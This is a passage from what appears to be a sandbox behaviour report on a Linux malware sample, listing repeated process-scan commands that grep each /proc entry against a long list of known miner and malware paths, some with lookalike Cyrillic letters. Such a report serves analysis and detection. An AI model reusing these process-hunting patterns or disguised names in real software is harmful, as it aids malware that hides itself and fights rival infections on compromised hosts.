  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1078
- /bin/grep
  grep exe
  2⤵
  PID:1081
- /bin/ls
  ls -latrh /proc/711
  2⤵
  PID:1080
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1083
- /bin/ls
  ls -latrh /proc/72
  2⤵
  PID:1085
- /bin/grep
  grep exe
  2⤵
  PID:1086
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1088
- /bin/ls
  ls -latrh /proc/73
  2⤵
  PID:1090
- /bin/grep
  grep exe
  2⤵
  PID:1091
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1093
- /bin/grep
  grep exe
  2⤵
  PID:1096
- /bin/ls
  ls -latrh /proc/74
  2⤵
  PID:1095
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1098
- /bin/ls
  ls -latrh /proc/742
  2⤵
  PID:1100
- /bin/grep
  grep exe
  2⤵
  PID:1101
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1103
- /bin/grep
  grep exe
  2⤵
  PID:1106
- /bin/ls
  ls -latrh /proc/744
  2⤵
  PID:1105
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1108
- /bin/grep
  grep exe
  2⤵
  PID:1111
- /bin/ls
  ls -latrh /proc/745
  2⤵
  PID:1110
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1113
- /bin/grep
  grep exe
  2⤵
  PID:1116
- /bin/ls
  ls -latrh /proc/748
  2⤵
  PID:1115
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1118
- /bin/grep
  grep exe
  2⤵
  PID:1121
- /bin/ls
  ls -latrh /proc/76
  2⤵
  PID:1120
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1123
- /bin/grep
  grep exe
  2⤵
  PID:1126
- /bin/ls
  ls -latrh /proc/77
  2⤵
  PID:1125
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1128
- /bin/grep
  grep exe
  2⤵
  PID:1131
- /bin/ls
  ls -latrh /proc/78
  2⤵
  PID:1130
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1133
- /bin/grep
  grep exe
  2⤵
  PID:1136
- /bin/ls
  ls -latrh /proc/79
  2⤵
  PID:1135
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1138
- /bin/grep
  grep exe
  2⤵
  PID:1141
- /bin/ls
  ls -latrh /proc/8
  2⤵
  PID:1140
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1143
- /bin/grep
  grep exe
  2⤵
  PID:1146
- /bin/ls
  ls -latrh /proc/82
  2⤵
  PID:1145
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1148
- /bin/grep
  grep exe
  2⤵
  PID:1151
- /bin/ls
  ls -latrh /proc/9
  2⤵
  PID:1150
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1153
- /bin/grep
  grep exe
  2⤵
  PID:1156
- /bin/ls
  ls -latrh /proc/buddyinfo
  2⤵
  PID:1155
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1158
- /bin/grep
  grep exe
  2⤵
  PID:1161
- /bin/ls
  ls -latrh /proc/bus
  2⤵
  PID:1160
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1163
- /bin/grep
  grep exe
  2⤵
  PID:1166
- /bin/ls
  ls -latrh /proc/cgroups
  2⤵
  PID:1165
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1168
- /bin/grep
  grep exe
  2⤵
  PID:1171
- /bin/ls
  ls -latrh /proc/cmdline
  2⤵
  PID:1170
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1173
- /bin/grep
  grep exe
  2⤵
  PID:1176
- /bin/ls
  ls -latrh /proc/consoles
  2⤵
  PID:1175
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1178
- /bin/grep
  grep exe
  2⤵
  PID:1181
- /bin/ls
  ls -latrh /proc/cpuinfo
  2⤵
  PID:1180
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1183
- /bin/grep
  grep exe
  2⤵
  PID:1186
- /bin/ls
  ls -latrh /proc/crypto
  2⤵
  PID:1185
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1188
- /bin/grep
  grep exe
  2⤵
  PID:1191
- /bin/ls
  ls -latrh /proc/device-tree
  2⤵
  PID:1190
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1193
- /bin/grep
  grep exe
  2⤵
  PID:1198
- /bin/ls
  ls -latrh /proc/devices
  2⤵
  - Reads runtime system information
  PID:1197
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1200
- /bin/grep
  grep exe
  2⤵
  PID:1204
- /bin/ls
  ls -latrh /proc/diskstats
  2⤵
  PID:1203
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1207
- /bin/grep
  grep exe
  2⤵
  PID:1210
- /bin/ls
  ls -latrh /proc/dma
  2⤵
  PID:1209
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1212
- /bin/grep
  grep exe
  2⤵
  PID:1216
- /bin/ls
  ls -latrh /proc/driver
  2⤵
  PID:1215
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1219
- /bin/grep
  grep exe
  2⤵
  PID:1222
- /bin/ls
  ls -latrh /proc/execdomains
  2⤵
  PID:1221
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1225
- /bin/grep
  grep exe
  2⤵
  PID:1229
- /bin/ls
  ls -latrh /proc/fb
  2⤵
  PID:1228
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1231
- /bin/ls
  ls -latrh /proc/filesystems
  2⤵
  PID:1234
- /bin/grep
  grep exe
  2⤵
  PID:1235
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1238
- /bin/grep
  grep exe
  2⤵
  PID:1241
- /bin/ls
  ls -latrh /proc/fs
  2⤵
  PID:1240
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1245
- /bin/grep
  grep exe
  2⤵
  PID:1248
- /bin/ls
  ls -latrh /proc/interrupts
  2⤵
  PID:1247
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1250
- /bin/grep
  grep exe
  2⤵
  PID:1254
- /bin/ls
  ls -latrh /proc/iomem
  2⤵
  PID:1253
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1257
- /bin/grep
  grep exe
  2⤵
  PID:1260
- /bin/ls
  ls -latrh /proc/ioports
  2⤵
  PID:1259
- /bin/grep
